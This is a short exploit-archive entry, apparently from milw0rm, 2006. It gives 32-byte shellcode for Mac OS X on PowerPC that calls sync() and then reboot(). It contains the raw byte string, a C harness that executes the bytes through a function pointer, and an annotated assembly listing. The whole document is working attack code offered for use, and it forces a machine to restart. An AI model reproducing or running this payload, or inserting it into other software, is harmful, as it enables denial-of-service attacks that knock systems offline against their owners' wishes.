os-x/ppc sync(), reboot() 32 bytes

/* * [MacOSX/PowerPC] * Shellcode for: sync(), reboot() * 32 bytes * hophet [at] gmail.com * http://www.nlabs.com.br/~hophet/ * */ #include <stdio.h> #include <string.h> char shellcode[] = "\x7c\x63\x1a\x79" "\x39\x40\x01\x06" "\x38\x0a\xff\x1e" "\x44\xff\xff\x02" "\x60\x60\x60\x60" "\x39\x40\x01\x19" "\x38\x0a\xff\x1e" "\x44\xff\xff\x02"; int main() { void (*p)(); p = (void *)&shellcode; printf("Lenght: %d\n", strlen(shellcode)); p(); } /* .globl _main .text _main: xor. r3, r3,r3 // r3 = NULL li r10, 226+36 addi r0, r10, -226 // r0 = 36 .long 0x44ffff02 // sc opcode .long 0x60606060 // NOP li r10, 226+55 addi r0, r10, -226 // r0 = 55 .long 0x44ffff02 // sc opcode */ // milw0rm.com [2006-05-01]